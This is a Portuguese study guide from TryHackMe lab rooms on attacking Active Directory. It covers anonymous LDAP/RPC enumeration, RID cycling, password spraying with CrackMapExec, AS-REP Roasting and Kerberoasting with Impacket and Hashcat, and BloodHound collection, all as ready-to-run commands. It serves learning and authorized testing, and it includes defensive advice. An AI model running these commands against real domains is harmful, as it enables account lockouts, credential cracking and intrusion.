Active Directory (AD DS) - Guia prático completo
Este guia reúne meus exercícios e aprendizados das rooms Network Enumeration, User/Domain Enumeration, Password Spraying e Authenticated Enumeration do TryHackMe. A sequência é a que eu usaria para começar uma avaliação de um domínio Windows.
Material para laboratórios e ambientes expressamente autorizados. Algumas verificações de autenticação podem bloquear contas ou gerar alertas.
Índice
Este guia está dividido em blocos que acompanham a evolução do acesso: primeiro identifico a rede, depois consulto o domínio, enumero com credenciais e finalmente analiso relações de privilégio. Os comandos usam placeholders para funcionar em outras rooms.
| Bloco | Etapas |
|---|---|
| 1. Enumeração básica — rede e domínio | 1. Preparação · 2. Rede e serviços · 3. Usuários · 4. Grupos e relações |
| 2. Autenticação e Kerberos | 5. Políticas e spraying · 6. AS-REP e Kerberoasting |
| 3. Enumeração autenticada — Windows e AD | 7. CMD, serviços e tarefas · 8. ActiveDirectory no PowerShell · 9. PowerView |
| 4. Relações e priorização | 10. BloodHound · 11. Checklist |
Regra prática: uma enumeração pode mostrar o que existe; a análise de ACLs e relacionamentos ajuda a descobrir o que minha identidade pode realmente acessar ou controlar.
BLOCO 1 · Enumeração básica — escopo de rede, DNS, portas, serviços, SMB, LDAP e RPC; sempre verificando se a consulta exige login.
1. Entender a rede e preparar o laboratório
O Active Directory Domain Services (AD DS) centraliza usuários, computadores, grupos, permissões e políticas do domínio. O Domain Controller (DC) guarda o diretório e participa da autenticação.
| Conceito | Significado |
|---|---|
| Domínio | Conjunto de identidades e recursos administrados centralmente |
| DC / KDC | Controlador do domínio / serviço Kerberos que emite tickets |
| WRK | Workstation, computador membro do domínio |
| LDAP (389) | Consulta objetos e atributos no diretório |
| Kerberos (88) | Autenticação por tickets |
| SMB (445) | Compartilhamentos e serviços Windows |
| MSRPC (135 e/ou SMB) | Consultas remotas de usuários, grupos e serviços |
| SID / RID | Identificador de segurança e sua parte final |
| OU / GPO | Unidade organizacional e política de grupo |
Placeholders usados no guia:
<SUBNET/CIDR>: rede autorizada, como uma faixa /24.<DC_IP>: IP do controlador de domínio.<WRK_IP>: IP da estação Windows.<DOMAIN>: nome DNS do domínio.<USER>/<PASSWORD>: credenciais de laboratório.<ATTACKER_IP>: IP da AttackBox, quando necessário.
Substitua os placeholders antes de executar os comandos. Os alvos do DC e da WRK são diferentes: consultas LDAP/Kerberos costumam ir ao DC; enumeração local da estação vai à WRK.
Reconhecimento da rede
↓
Enumeração sem credenciais (SMB / RPC / LDAP)
↓
Usuários, grupos e pertencimento
↓
Política de senhas
↓
Password spraying controlado / AS-REP Roasting
↓
Acesso autenticado à WRK
↓
CMD / PowerShell / PowerView
↓
BloodHound: relações e caminhos de privilégio
2. Network Enumeration - descobrir hosts e serviços
2.1 Encontrar máquinas ativas
Na AttackBox Linux:
fping -agq <SUBNET/CIDR>
| Opção | Função |
|---|---|
-a |
Mostra máquinas que responderam |
-g |
Gera os endereços da sub-rede |
-q |
Oculta mensagens extras |
Salvando hosts encontrados:
fping -agq <SUBNET/CIDR> 2>/dev/null > hosts.txt
cat hosts.txt
2>/dev/null descarta erros; > cria ou sobrescreve o arquivo. Nem toda máquina ativa responderá a ICMP.
2.2 Identificar portas e serviços
nmap -p 88,135,139,389,445 -sV -sC -iL hosts.txt
-p: limita as portas.-sV: detecta serviço/versão.-sC: scripts padrão do Nmap.-iL: lê IPs do arquivo.
Varredura TCP completa:
sudo nmap -sS -p- -T3 -iL hosts.txt -oN full_port_scan.txt
-sS usa TCP SYN; -p- cobre as portas 1–65535; -T3 controla o ritmo; -oN salva a saída.
Dica: portas 88, 389 e 445, combinadas a DNS e outros serviços, ajudam a identificar possíveis controladores de domínio. Uma porta isolada não confirma o papel de DC.
2.3 Enumerar SMB e compartilhamentos
smbclient -L //<DC_IP> -N
smbmap -H <DC_IP>
nmap -p 445 --script smb-enum-shares <DC_IP>
enum4linux -a <DC_IP>
| Comando | Finalidade |
|---|---|
smbclient -L |
Lista compartilhamentos |
-N |
Tenta conexão sem senha |
smbmap |
Mostra shares e permissões disponíveis |
smb-enum-shares |
Enumeração via script NSE |
enum4linux -a |
Consolida verificações SMB/RPC |
Se um compartilhamento permitir acesso anônimo:
smbclient //<DC_IP>/<SHARE> -N
No prompt interativo:
smb: \> ls
smb: \> get arquivo.txt
smb: \> exit
Aprendizado: listar um share não garante autorização para abrir ou baixar todos os arquivos.
2.4 Resolver nomes e identificar o controlador de domínio
Quando Nmap indica LDAP e Kerberos, verifico os registros de serviço DNS:
nslookup -type=SRV _ldap._tcp.dc._msdcs.<DOMAIN> <DC_IP>
nslookup -type=SRV _kerberos._tcp.<DOMAIN> <DC_IP>
SRV: registro DNS que informa host e porta de um serviço._ldap._tcp.dc._msdcs: localiza controladores de domínio LDAP._kerberos._tcp: identifica serviços Kerberos do domínio.
Para ferramentas baseadas em nomes, como Kerberos e BloodHound, a resolução correta de dc01.exemplo.local é tão importante quanto o IP. Ajusto DNS do laboratório e, se necessário, o arquivo /etc/hosts — apenas para nomes realmente identificados, sem inventar hosts.
3. User Enumeration - descobrir usuários sem login
O objetivo é identificar contas que possam ser analisadas posteriormente, sem começar por tentativas de senha.
3.1 LDAP: verificar acesso anônimo
ldapsearch -x -H ldap://<DC_IP> -s base
-x: autenticação LDAP simples (anônima, sem-D).-H: servidor LDAP.-s base: consulta apenas o RootDSE.
O atributo importante é:
defaultNamingContext: DC=exemplo,DC=local
O defaultNamingContext fornece a base do diretório. Conseguir ler RootDSE não significa que todo o AD aceite leitura anônima.
Consultar usuários:
ldapsearch -x -LLL -H ldap://<DC_IP> \
-b "DC=exemplo,DC=local" \
"(&(objectCategory=person)(objectClass=user))" sAMAccountName
-b: base LDAP obtida na consulta anterior.-LLL: saída resumida.sAMAccountName: login da conta.
Salvar somente os nomes, quando permitido:
ldapsearch -x -LLL -H ldap://<DC_IP> \
-b "DC=exemplo,DC=local" \
"(&(objectCategory=person)(objectClass=user))" sAMAccountName |
awk '/^sAMAccountName: / {print $2}' > ldap_users.txt
Ajuste DC=exemplo,DC=local conforme o seu domínio. O awk extrai apenas o valor do atributo.
3.2 Enum4linux-ng
enum4linux-ng -A <DC_IP> -oA results
-A tenta enumerar usuários, grupos, shares, política de senhas, sistema etc. -oA salva relatórios estruturados com o prefixo escolhido. A quantidade de dados depende das permissões disponíveis.
3.3 RPC Null Session
rpcclient -U "" -N <DC_IP>
-U "" define usuário vazio; -N não solicita senha. Isso só funcionará se o serviço permitir a consulta anônima.
Dentro do rpcclient:
rpcclient $> enumdomusers
rpcclient $> enumdomgroups
rpcclient $> querydispinfo
rpcclient $> queryuser 0xa31
rpcclient $> help
O laboratório mostrou contas como Administrator, Guest, asrepuser1 e rduke. O enumdomusers retorna, além do nome, o RID da conta.
Salvar diretamente:
rpcclient -U "" -N <DC_IP> -c enumdomusers |
awk -F'[][]' '/^user:/ {print $2}' > rpc_users.txt
-c executa um comando RPC e encerra; awk -F'[][]' separa a linha pelos colchetes.
3.4 RID Cycling - consultar contas por identificador
Se enumdomusers for limitado, testar uma faixa de RIDs:
for i in $(seq 500 3000); do
rpcclient -U "" -N <DC_IP> -c "queryuser $i" 2>/dev/null |
grep -i "User Name"
done
O for percorre os RIDs; grep -i seleciona o campo do nome. A consulta pode ser demorada.
Dica aprendida: a faixa 500–2000 não era suficiente para encontrar todos os objetos da room: rduke tinha RID 0xa31, isto é, 2609 em decimal.
3.5 Consolidar os nomes sem perder o arquivo
cat ldap_users.txt rpc_users.txt | sort -u > users.txt
wc -l users.txt
Para remover duplicatas no próprio arquivo:
sort -u -o users.txt users.txt
Não usar sort -u users.txt > users.txt: o redirecionamento pode zerar o arquivo antes da leitura. -o faz a gravação de saída corretamente.
3.6 Kerbrute: validar nomes via Kerberos
chmod +x kerbrute
./kerbrute userenum --dc <DC_IP> -d <DOMAIN> users.txt
userenum verifica se o KDC reconhece nomes; --dc define o controlador; -d define o domínio.
Uma resposta VALID USERNAME indica um nome reconhecido pelo Kerberos, não que a conta esteja ativa, que a senha seja conhecida ou que o login esteja autorizado. Contas terminadas em $ geralmente são de computadores.
4. Domain Enumeration - grupos e pertencimento
Agora queremos saber qual é o grupo de cada conta, não apenas seu nome.
4.1 Listar e consultar grupos por RPC
rpcclient -U "" -N <DC_IP> -c enumdomgroups
rpcclient -U "" -N <DC_IP> -c "querygroup 0x201"
RIDs conhecidos: 500 (Administrator), 501 (Guest), 512 (Domain Admins), 513 (Domain Users) e 514 (Domain Guests).
4.2 Exemplo real da room: grupo de rduke
Foi executado:
rpcclient -U "" -N <DC_IP> -c "queryusergroups 0xa31"
Resultado:
group rid:[0x201] attr:[0x7]
Conferência com LDAP:
ldapsearch -x -LLL -H ldap://<DC_IP> \
-b "DC=exemplo,DC=local" \
"(sAMAccountName=rduke)" memberOf primaryGroupID
Resultado observado:
dn: CN=Raoul Duke,CN=Users,DC=exemplo,DC=local
primaryGroupID: 513
Interpretação:
rduke
→ RID do grupo 0x201
→ 513 em decimal
→ Domain Users
Principal aprendizado: o atributo LDAP memberOf geralmente não inclui o grupo primário. Portanto, memberOf vazio não significa que a conta não pertença a nenhum grupo. Consultar também primaryGroupID. O campo RPC attr:[0x7] representa flags, e não outro grupo.
4.3 Contar usuários e grupos: local x domínio
Essas consultas não são intercambiáveis:
| Objetivo | Comando no Windows |
|---|---|
| Usuários locais da WRK | (Get-LocalUser).Count |
| Grupos locais da WRK | (Get-LocalGroup).Count |
| Usuários do AD | (Get-ADUser -Filter *).Count |
| Grupos retornados pelo AD | (Get-ADGroup -Filter *).Count |
| Grupos globais via NET | net group /domain |
| Grupos locais via NET | net localgroup |
Erro que esclareci na prática: (Get-LocalGroup).Count retornou 25, mas eu precisava do número de usuários locais. O correto era (Get-LocalUser).Count.
Também observei 21 grupos com net group /domain, 54 com Get-ADGroup -Filter * e 58 na coleta BloodHound. Eles podem diferir porque net group lista principalmente grupos globais, enquanto o cmdlet AD retorna múltiplos escopos e o coletor possui regras/escopo próprios. Não usar um número de uma ferramenta para responder à pergunta referente a outra sem verificar seu escopo. Os valores são registros do exercício, não uma contagem universal do domínio.
4.4 Grupos de domínio não são automaticamente administradores locais
Depois de descobrir uma conta, procuro seu papel no domínio:
net user <USER> /domain
net group "Domain Admins" /domain
Grupos personalizados (por exemplo, sysadmin) precisam ser investigados por descrição, membros, GPOs e ACLs. O nome de um grupo não garante privilégios de Domain Admin nem de administrador local. No DC, a distinção entre contas locais e do domínio exige atenção: um controlador de domínio não possui a mesma base de contas locais de uma estação WRK.
BLOCO 2 · Política de autenticação e Kerberos — primeiro observo a política, depois escolho um teste justificado. Não confundo tentativas online com cracking offline.
5. Password Spraying - primeiro a política de senhas
Password spraying: testar uma senha candidata em vários usuários. Diferentemente do brute force concentrado em uma única conta, distribui as tentativas, mas também pode causar bloqueios.
5.1 Consultar a política
rpcclient -U "" -N <DC_IP> -c getdompwinfo
Resultado observado:
min_password_length: 7
password_properties: 0x00000001
DOMAIN_PASSWORD_COMPLEX
Também é possível usar:
crackmapexec smb <DC_IP> --pass-pol
0x00000001 indica a flag de complexidade de senha. Em configurações tradicionais do Windows, isso exige combinações de categorias de caracteres (em geral três das quatro: maiúsculas, minúsculas, números e especiais), além do comprimento mínimo.
Consultar também limiar e janela de bloqueio. A política padrão do domínio pode ser diferente de uma Fine-Grained Password Policy aplicada a contas específicas.
5.2 Spray controlado em laboratório
Com a lista já validada e uma única senha permitida pelo exercício:
crackmapexec smb <WRK_IP> -u users.txt -p '<PASSWORD>'
-u: arquivo com usuários.-p: senha candidata.smb: autenticação via SMB.
A room também apresenta o uso de uma lista:
crackmapexec smb <WRK_IP> -u users.txt -p passwords.txt
Cuidado: usando passwords.txt, são feitas múltiplas tentativas por conta. Isso aumenta o risco de bloqueio e não equivale a uma rodada de spray com uma senha.
Mensagens comuns:
| Saída | Interpretação |
|---|---|
[+] |
Autenticação aceita |
[-] |
Tentativa não aceita |
STATUS_LOGON_FAILURE |
Credencial inválida ou logon recusado |
STATUS_ACCOUNT_LOCKED_OUT |
Conta bloqueada |
STATUS_PASSWORD_EXPIRED |
Senha expirada |
Ordem correta: enumerar contas → verificar políticas → validar escopo e limite de tentativas → executar o mínimo necessário → registrar resultados.
6. AS-REP Roasting - testar contas sem pré-autenticação
O AS-REP Roasting aproveita contas com a flag UF_DONT_REQUIRE_PREAUTH: o DC pode devolver dados AS-REP sem exigir que o solicitante conheça a senha. Esses dados podem ser testados offline.
Fases: descobrir contas vulneráveis → coletar AS-REP → testar candidatos localmente.
6.1 Coletar pelo Linux com Impacket
GetNPUsers.py <DOMAIN>/ \
-dc-ip <DC_IP> \
-usersfile users.txt \
-format hashcat \
-outputfile hashes.txt \
-no-pass
Em distribuições mais novas o nome pode ser impacket-GetNPUsers.
| Opção | Significado |
|---|---|
-dc-ip |
Endereço do DC |
-usersfile |
Arquivo de usuários candidatos |
-format hashcat |
Formato dos dados recuperados |
-outputfile |
Arquivo de saída |
-no-pass |
Não pedir senha |
Mensagens importantes:
doesn't have UF_DONT_REQUIRE_PREAUTH set: pré-autenticação habilitada; a conta não permite essa coleta.KDC_ERR_CLIENT_REVOKED: conta bloqueada, desativada ou revogada, dependendo do contexto.$krb5asrep$23$...: AS-REP do tipo 23, adequado ao Hashcat modo 18200.
No Windows, o comando estudado foi:
Rubeus.exe asreproast
6.2 Testar senhas offline
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 18200 hashes.txt --show
-m 18200 seleciona Kerberos AS-REP etype 23; --show exibe senhas já recuperadas.
Aprendizado: Hashcat compara senhas candidatas com o material criptográfico, não “descriptografa a senha”. Apesar de aparecer perto da enumeração autenticada na trilha, AS-REP Roasting pode começar sem autenticação prévia.
6.3 Kerberoasting não é AS-REP Roasting
As duas técnicas permitem testes offline, mas o requisito muda:
| Técnica | Conta-alvo | O que solicito ao KDC | Hashcat (RC4 / etype 23) |
|---|---|---|---|
| AS-REP Roasting | Usuário com pré-autenticação desabilitada | AS-REP, sem conhecer sua senha | -m 18200 |
| Kerberoasting | Conta de serviço associada a SPN | TGS, normalmente com login válido no domínio | -m 13100 |
O SPN é o identificador de serviço (por exemplo, HTTP/servidor.dominio). Uma conta com SPN não significa senha fraca, nem garante que um serviço esteja acessível na rede.
GetUserSPNs.py '<DOMAIN>/<USER>:<PASSWORD>' \
-dc-ip <DC_IP> \
-request-user <SERVICE_ACCOUNT> \
-outputfile servico.tgs
hashcat -m 13100 servico.tgs wordlist.txt
hashcat -m 13100 servico.tgs --show
/ : </code>: credencial **do usuário que solicita** o ticket; não é a senha do serviço-alvo. -request-user: seleciona qual conta associada a SPN terá o TGS solicitado.-outputfile: grava material no formato aceito pelo Hashcat.-m 13100: apenas TGS etype 23 / RC4-HMAC. Outros tipos exigem modos diferentes.\\ao final da linha: continua o mesmo comando no Bash.
Aprendizado: um usuário comum autenticado pode conseguir um TGS; não é necessário ter a senha do serviço para realizar o Kerberoasting. Status: Exhausted e Recovered: 0 significam apenas que os candidatos daquela execução não recuperaram a senha. Nenhum resultado de cracking deve ser tratado como acesso comprovado sem autenticação posterior.
BLOCO 3 · Enumeração autenticada — acesso como usuário de domínio: contexto da sessão, privilégios do token, serviços, tarefas, registro, AD e ACLs.
7. Authenticated Enumeration - CMD na estação WRK
Com credenciais autorizadas no exercício, acessar a estação:
ssh <USER>@<WRK_IP>
O prompt poderá exibir DOMINIO\usuario@WRK. Isso indica uma sessão usando conta de domínio; WRK\usuario normalmente designa conta local.
7.1 Identidade e sistema
whoami
whoami /all
hostname
systeminfo
set
whoami /all: SID, grupos do token e privilégios atuais.hostname: máquina.systeminfo: SO, correções e domínio, sujeito às permissões.set: variáveis de ambiente.
Privilégios de interesse:
| Privilégio | Por que verificar |
|---|---|
SeImpersonatePrivilege |
Impersonação de tokens sob condições específicas |
SeAssignPrimaryTokenPrivilege |
Atribuir token primário a processos |
SeBackupPrivilege |
Acesso de backup a arquivos protegidos |
SeRestorePrivilege |
Operações de restauração privilegiadas |
SeDebugPrivilege |
Depuração/acesso a processos |
A presença de um privilégio não garante que ele possa ser explorado.
7.2 Usuários e grupos com NET
net user
net user /domain
net user rduke /domain
net group /domain
net group "Domain Admins" /domain
net group "Domain Computers" /domain
net localgroup
net localgroup administrators
| Comando | Onde consulta |
|---|---|
net user |
Contas locais da WRK |
net user /domain |
Contas de usuário do domínio |
net user rduke /domain |
Atributos e grupos de rduke |
net group /domain |
Grupos globais do domínio |
net group "Domain Admins" /domain |
Membros desse grupo |
net localgroup |
Grupos locais da WRK |
net localgroup administrators |
Quem administra a WRK |
Importante: um administrador local da WRK não é necessariamente Domain Admin. Um grupo de domínio também pode ter sido adicionado aos administradores locais.
7.3 Sessões, processos, serviços e tarefas
quser
tasklist /v
net session
wmic service get Name,StartName
sc query state= all
sc qc DHCP
schtasks /query /fo LIST /v
quser: usuários com sessões interativas (console/RDP).tasklist /v: processos, com detalhes extras.net session: sessões SMB, normalmente exige elevação.StartName/SERVICE_START_NAME: identidade sob a qual o serviço executa.sc qc: configuração de um serviço.schtasks /query: tarefas agendadas.
Serviços do Windows são processos gerenciados pelo Service Control Manager. Podem executar como LocalSystem, LocalService, NetworkService, conta virtual ou usuário do domínio; não dependem de uma sessão interativa. Tarefas agendadas executam segundo seus próprios gatilhos e contexto de segurança. Algumas consultas exigem privilégios elevados. Em PowerShell, para chamar a ferramenta sc, prefira sc.exe, pois sc pode ser alias de Set-Content.
7.4 Registro e aplicações
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
O primeiro caminho guarda configurações de logon; em máquinas mal configuradas pode haver dados de autologon. O segundo ajuda a identificar aplicativos instalados. A leitura de algumas chaves depende de permissão.
7.5 Pastas, permissões e erros que importam
Encontrar uma pasta não equivale a conseguir lê-la, alterá-la ou executar código no contexto de outra conta.
Test-Path -LiteralPath 'C:\Scripts'
Get-ChildItem -LiteralPath 'C:\Scripts' -Force -ErrorAction Continue
icacls.exe 'C:\Scripts'
icacls.exe 'C:\Downloads'
O icacls.exe recebe o alvo conforme sua própria sintaxe; para inspecionar vários diretórios independentes, faço chamadas separadas. -ErrorAction Continue mostra erros em vez de ocultá-los com SilentlyContinue.
| Permissão / resultado | Interpretação |
|---|---|
RX |
Ler e executar; não equivale a modificar |
WD / AD |
Escrever dados / criar subdiretórios conforme ACE e herança |
F |
Controle total no objeto indicado |
Access denied |
A identidade atual não conseguiu executar aquela operação |
Ponto importante: poder criar um arquivo em C:\Downloads não significa poder substituir um arquivo administrativo preexistente. Para identificar um caminho de privilégio, preciso também de um processo, serviço ou tarefa privilegiada que consuma um recurso modificável por mim.
8. PowerShell e módulo ActiveDirectory
Abrir PowerShell a partir do CMD:
powershell
Verificar/importar o módulo:
Get-Module -ListAvailable ActiveDirectory
Import-Module ActiveDirectory
Em estações, o módulo costuma depender de RSAT ou de um pacote já disponibilizado no laboratório.
8.1 Usuários
Get-ADUser -Filter * | Select-Object Name,SamAccountName,Enabled
Get-ADUser -Identity rduke -Properties LastLogonDate,MemberOf,Description,Title
Get-ADUser -Filter "Name -like '*admin*'"
(Get-ADUser -Filter *).Count
-Filter seleciona objetos; -Properties solicita atributos extras; Select-Object limita as colunas; .Count conta resultados.
8.2 Grupos
Get-ADGroup -Filter * | Select-Object Name,GroupScope
Get-ADGroupMember -Identity "Domain Admins"
(Get-ADGroup -Filter *).Count
GroupScope permite diferenciar grupos Global, Universal e DomainLocal.
8.3 Computadores e política
Get-ADComputer -Filter * | Select-Object Name,OperatingSystem
Get-ADDefaultDomainPasswordPolicy
Na política, observar MinPasswordLength, ComplexityEnabled, LockoutThreshold e LockoutDuration. LockoutThreshold = 0 significa que a política padrão não impõe bloqueio por quantidade de falhas, mas não dispensa a avaliação de políticas por usuário.
8.4 Contas/grupos locais em PowerShell
Get-LocalUser
(Get-LocalUser).Count
Get-LocalGroup
(Get-LocalGroup).Count
Get-LocalGroupMember -Group Administrators
Lembrete: não confundir Get-LocalUser com Get-LocalGroup ao responder quantidades pedidas pela room.
8.5 Atributos de contas de serviço e delegação
Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName |
Select-Object SamAccountName,ServicePrincipalName
Get-ADUser -Identity <SERVICE_ACCOUNT> -Properties TrustedToAuthForDelegation,msDS-AllowedToDelegateTo |
Select-Object SamAccountName,TrustedToAuthForDelegation,msDS-AllowedToDelegateTo
ServicePrincipalName ajuda a encontrar contas associadas a serviços; msDS-AllowedToDelegateTo mostra destinos configurados para delegação restrita tradicional. Uma flag de delegação isolada não garante que seja possível representar outra conta perante qualquer serviço.
Quando preciso enxergar permissões entre objetos, não basta listar membros de grupos: examino ACLs, GPOs e relações de controle (PowerView e BloodHound).
9. PowerView - mais consultas sobre o domínio
O PowerView integra o conjunto PowerSploit e ajuda a analisar usuários, grupos, SPNs, computadores e direitos sobre objetos do AD. No laboratório o arquivo estava disponível no diretório Recon do PowerSploit.
. .\PowerView.ps1
Get-DomainUser
Get-DomainUser *admin*
Get-DomainGroup "*admin*"
Get-DomainComputer
Get-DomainUser -SPN
Get-DomainObjectAcl -Identity <USER> -ResolveGUIDs
A expressão . .\PowerView.ps1 faz dot-sourcing para carregar funções na sessão atual. O parâmetro -SPN procura contas com Service Principal Names (Kerberoasting); Get-DomainObjectAcl examina permissões no objeto, e -ResolveGUIDs traduz identificadores de direitos quando possível. A versão do PowerView e os direitos de leitura podem limitar a saída.
Diferença rápida: AS-REP Roasting busca contas sem pré-autenticação; Kerberoasting envolve tickets de serviço associados a SPNs. São técnicas distintas.
BLOCO 4 · Relações de privilégio e checklist — em vez de testar novas técnicas aleatoriamente, organizo as permissões obtidas na enumeração e investigo caminhos concretos.
10. BloodHound - mapear relações e privilégios
Depois da enumeração tradicional, falta responder à pergunta principal: minha conta possui uma relação de controle com outro usuário, grupo ou computador? O BloodHound transforma usuários, grupos e máquinas em nós (nodes) e permissões/associações em arestas (edges).
| Ferramenta | Onde executa | Para que uso |
|---|---|---|
SharpHound.exe |
Windows autenticado no domínio | Coleta oficial, incluindo relações de AD e, conforme o método, informações de computadores |
bloodhound-ce-python |
Linux / AttackBox | Coleta remota para BloodHound Community Edition |
bloodhound-python |
Linux / AttackBox | Coletor de BloodHound Legacy: não presumir compatibilidade com CE |
BloodHound CE |
Interface web | Importar dados, investigar ACLs e visualizar caminhos |
Compatibilidade importa: o projeto BloodHound.py distingue o coletor Legacy (bloodhound-python) do CE (bloodhound-ce-python). No BloodHound CE, o SharpHound compatível deve ser obtido na própria interface (Settings → Download Collectors). Consulte BloodHound.py e SharpHound.
10.1 Coletar pela AttackBox (Linux)
Primeiro confiro o executável disponível:
command -v bloodhound-ce-python
command -v bloodhound-python
Se o ambiente usa CE, mas o primeiro não existe, a instalação isolada por pipx install bloodhound-ce evita misturar dependências. Em ambientes com coletor já fornecido pela room, uso a versão apropriada sem reinstalar tudo.
bloodhound-ce-python -u <USER> -p '<PASSWORD>' \
-d <DOMAIN> -ns <DC_IP> \
-c DCOnly --zip
| Parâmetro | Função |
|---|---|
-u / -p |
Usuário e senha de domínio conhecidos |
-d |
Nome DNS do domínio |
-ns |
DNS a consultar — no laboratório, normalmente o DC |
-c DCOnly |
Coleta relações consultáveis via DC, como grupos, ACLs e trusts, sem enumerar individualmente outros hosts |
--zip |
Gera pacote para importar na interface |
Quando a coleta somente pelo DC não responde uma questão de sessões ou privilégios locais, amplio o escopo conscientemente, por exemplo para -c All. Coletas mais abrangentes podem gerar mais tráfego e alertas.
Exemplo registrado em outra room: o coletor retornou 1 domínio, 2 computadores, 32 usuários, 58 grupos, 5 GPOs, 15 OUs e 0 trusts. Uma tentativa Kerberos falhou por resolução de nomes e fez fallback para NTLM. Essas contagens pertencem àquela room, não ao laboratório atual.
10.2 Coletar pelo Windows (SharpHound)
SharpHound.exe --CollectionMethods DCOnly --Domain <DOMAIN>
Usar o binário compatível com a instância CE e somente quando sua execução for permitida no laboratório. Um coletor Windows não concede privilégios administrativos; regras AppLocker/Defender podem impedir sua execução. DCOnly concentra a coleta nas relações do diretório; All inclui métodos adicionais, sujeitos a permissões e disponibilidade.
10.3 Importar e analisar sem se perder no grafo
Na instância CE do laboratório:
- Administration → File Ingest: enviar o ZIP.
- Explore: buscar o nó da conta já comprometida.
- Node Info: revisar
Member Of,Outbound Object Control, direitos de execução e sessões, quando coletadas. - Pathfinding: origem = usuário conhecido; destino = grupo/conta com privilégios relevantes. Confirmar manualmente qualquer aresta promissora.
Arestas de interesse incluem GenericAll, GenericWrite, WriteDacl, AddMember e direitos administrativos locais, quando efetivamente presentes nos dados coletados. Uma relação no gráfico pode depender de privilégios adicionais, contexto, políticas ou mudanças no ambiente: não é prova automática de exploração.
Quando uma consulta não mostra caminho: conferir se o ZIP foi importado, se a coleta incluiu ACLs, se a identidade é a correta e se os nomes de domínio foram resolvidos. A ausência de arestas no gráfico não comprova a inexistência de permissões.
10.4 BloodHound x PowerView x NET
| Preciso saber… | Uso primeiro |
|---|---|
| Quem pertence a um grupo? | net group ou Get-ADGroupMember |
| Quais atributos e SPNs uma conta tem? | Get-ADUser / Get-DomainUser |
| Que ACE aparece na DACL de um objeto? | Get-DomainObjectAcl ou leitura autorizada do descritor AD |
| Existe cadeia de permissões entre minha conta e um objetivo? | BloodHound e validação das arestas |
Usei a enumeração manual para aprender cada comando; uso o BloodHound para organizar e priorizar o que vale investigar, não para substituir a interpretação dos resultados.
11. Checklist geral para os próximos laboratórios
| Fase | O que verificar | Ferramentas |
|---|---|---|
| Reconhecimento | Hosts ativos, DNS, serviços e portas | fping, Nmap |
| SMB | Shares, leitura e permissões | smbclient, smbmap |
| Usuários | LDAP, RPC, RIDs, lista deduplicada | ldapsearch, rpcclient, Kerbrute |
| Domínio | Grupos, RID, grupo primário, relações | RPC, LDAP |
| Autenticação | Complexidade e política de bloqueio | rpcclient, CrackMapExec |
| Kerberos | Pré-autenticação, SPNs, AS-REP e TGS | GetNPUsers, GetUserSPNs, Rubeus, Hashcat |
| Windows | Identidade, grupos locais e do domínio | whoami, NET, Get-LocalUser |
| Sistema | Sessões, serviços, tarefas, Registro e ACLs de arquivos | quser, sc.exe, schtasks, reg, icacls |
| AD autenticado | Usuários, grupos, computadores, política | ActiveDirectory, PowerView |
| Relações | ACLs, grupos privilegiados, GPOs e caminhos | PowerView, BloodHound CE |
Referência de operadores e sintaxe
| Operador/parâmetro | Explicação |
|---|---|
\| |
Passa a saída de um comando para outro |
> |
Grava em arquivo, sobrescrevendo |
>> |
Acrescenta ao final |
2>/dev/null |
Descarta mensagens de erro |
-c (rpcclient) |
Executa uma instrução RPC e sai |
-b (ldapsearch) |
Define o DN-base |
-Filter (PowerShell) |
Filtra os objetos retornados |
-Properties |
Solicita atributos adicionais |
.Count |
Conta elementos retornados |
Referências e posts correlatos
- Proxy — SMB, contas de serviço e delegação Kerberos
- Windows — armazenamento de credenciais e Mimikatz
- Lateral Movement em Active Directory
- Checkmate — Quebrando senhas!
- BloodHound CE — documentação
- Microsoft — módulo ActiveDirectory
O que aprendi
A sequência mais eficiente foi descobrir → enumerar → validar → interpretar → só então testar autenticação. Não basta decorar ferramentas: é fundamental saber qual máquina, qual escopo e qual tipo de objeto cada comando consulta.
Três cuidados fizeram diferença:
- Não misturar local e domínio: usuários locais, grupos locais, grupos globais do domínio e objetos do AD são conjuntos distintos.
- Não confiar só em
memberOf: grupos primários exigem atenção aprimaryGroupID. - Não desperdiçar tentativas de senha: primeiro verificar política e lockout; diferenciar password spraying de teste offline de AS-REP.
Defesas relacionadas: manter a pré-autenticação Kerberos habilitada, usar senhas fortes, aplicar privilégios mínimos, restringir enumeração anônima e acompanhar eventos de autenticação e consultas anormais ao AD.